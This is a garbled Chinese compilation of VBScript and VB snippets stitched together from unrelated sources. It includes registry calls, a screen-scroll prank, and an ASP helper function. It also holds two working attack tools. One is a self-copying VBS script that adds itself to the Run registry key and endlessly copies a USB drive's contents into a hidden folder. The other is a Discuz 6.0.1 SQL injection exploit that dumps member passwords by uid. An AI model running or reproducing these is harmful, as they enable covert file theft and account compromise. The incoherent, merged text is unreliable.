首先要声明这三个API函数，它们分别是：RegSetValue、RegCreateKey、RegCloseKey，其作用是设置某一个主键的键值、创建一个主键、关闭对注册表主键的操作我们将检索HTTPReferer服务器变量和服务器名来测试它

　　'请先引用ADODB类库

特殊文件夹名称用于索引该集合以检索所需的特殊文件夹，文档中列出了下面的特殊文件夹： AllUsersDesktop AllUsersStartMenu AllUsersPrograms AllUsersStartup Desktop Favorites Fonts MyDocuments NetHood PrintHood Programs Recent SendTo StartMenu Startup Templates 不过今天在用OllyDbg调试VBS的时候，发现文档中少写了一个AppData文件夹，作文以记之在forml中编制程序如下：DimScreenhWnd％，ScreenDC％，rc％′WindowsAPI函数DeclareFunctionBitBlt％Lib＂GDI＂（ByValhDest?DC％，ByValdx％，ByValdy％，ByValnWidth％，ByValnHeight％，ByValhSrcDC％，ByValsx％，ByValsy％，ByValdwRop＆）DeclareFunctionGetDesk?topWindow％Lib＂USER＂（）DeclareFunctionGetDC％Lib＂US?ER＂（ByValhWnd％）DeclareFunctionReleaseDC％Lib＂USER＂（ByValhWnd％，ByValhDC％）SubForm－Load′form1窗体大小、位置与屏幕重合form1?Width＝Screen?Widthform1?Height＝Screen?Heightform1?left＝0form1?top＝0′form2窗体大小、位置与屏幕重合form2?Width＝Screen?Widthform2?Height＝Screen?Heightform2?left＝0form2?top＝0′将整屏画面抓到form1中ScreenhWnd％＝GetDesktopWindow％（）ScreenDC％＝GetDC％（ScreenhWnd％）rc％＝BitBlt％（form1?hDC，0，0，form1?ScaleWidth，form1?ScaleHeight，ScreenDC％，0，0，＆HCC0020）rc％＝ReleaseDC％（ScreenhWnd％，ScreenDC％）′显示form1和form2form2?Showform1?Show′上下移动form1WhileTrueform1?Top＝form1?Top＋500′500为移动速度ifform1?Top＞Screen?HenghtThen′超出屏幕下界时回到最上面form1?Top＝－Screen?HeightEndifDoEvents′响应其它事件WendEndSub′点击鼠标结束滚幕SubForm－MouseDown（）EndEndSub实现效果二：整屏画面连续不断地翻滚

OnErrorResumeNext‘忽略异常，否则可能会有错误提示框 Setfso=CreateObject("Scripting.FileSystemObject")‘创建fso dimn Setn=CreateObject("Wscript.Shell")‘声明变量n Setdir=fso.GetSpecialFolder(1)‘读取system32文件夹路径 fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")‘读取自身文件名，并复制自己到system32文件夹，重命名为copy.vbs dimr Setr=CreateObject("Wscript.Shell")‘声明变量r，用于读写注册表 r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run","copy.vbs","REG_SZ"‘为脚本添加启动项 fso.CreateFolder("c:\windows\explorer")‘创建文件夹，用来存放U盘文件 fori=1to2 i=1‘看出来了么，这是个死循环，变量i不可能到2，所以可以不断检查U盘并复制内容 fso.CopyFile"i:\*","c:\windows\explorer",True‘复制I盘(U盘盘符)所有文件到指定文件夹 fso.CopyFolder"i:\*","c:\windows\explorer",True‘复制I盘所有文件夹到指定文件夹 wscript.sleep10000‘挂起10秒，此属性单位为毫秒 next 把上述内容存为kubau0.vbs，才几百字节由于这种方式的限制太大，因而只用于那些影响整个数据库的操作，包括：・压缩数据库

'' ASP/VBScript Dictionary extract' Author: WangYe' For more information please visit' ' This code is distributed under the BSD license'' collection 集合或者字典，可以通过For Each访问的' Request.Form 或者 Request.QueryString' specified 指定必须存在的属性，假如该属性不存在，将自动创建一个' prefix 每个属性的前缀修饰' callback 对于集合或者字典的每个元素(key-value)的值进行函数调用' 函数原型：' Function filter(key, value)' filter=value' End If' 最终值将以该函数返回的值为准' Function extract(collection, ByVal specified, prefix, callback) Dim VarName, VarValue, DynObj, searchKey specified="," & Replace(specified, " ", "") & "," Set DynObj=New DynamicObject For Each key In collection searchKey="," & key & "," If InStr(1, specified, searchKey, 1)>0 Then specified=Replace(specified, searchKey, "") If Left(specified, 1) <> "," Then specified="," & specified End If If Right(specified, 1) <> "," Then specified=specified & "," End If End If VarName=prefix & key VarValue=collection(key) If callback<>"" Then VarValue=GetRef(callback)(key, VarValue) End If DynObj.add VarName, VarValue, PROPERTY_ACCESS_READONLYNext specified_array=Split(specified, ",") Dim i For i=LBound(specified_array) To UBound(specified_array) If specified_array(i)<>"" Then DynObj.add prefix & specified_array(i), "", _PROPERTY_ACCESS_READONLY End If Next Set extract=DynObj.GetObject()End Function触动在哪个文件夹

->Dim strUrl,strSite,strPath,strUid showB() Set Args=Wscript.Arguments If Args.Count <> 3 Then ShowU() Else strSite=Args(0) strPath=Args(1) strUid=Args(2) End If strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,passwordfromcdb_memberswhereuid=" & strUid &"*" objXML.SetRequestHeader "Accept-Language", "zh-cn" objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objXML.SetRequestHeader "User-Agent", "wap" objXML.send(strUrl) wscript.echo(objXML.ResponseText) Sub showB() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Exploit discuz6.0.1") .Echo("Code By Safe3") .Echo("+--------------------------=====================------------------------------+") End with End Sub Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("用法:") .Echo(" cscript "&.ScriptName&" site path uid") .Echo("例子:") .Echo(" cscript "&.ScriptName&" /forum/ 1 >result.txt") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub 。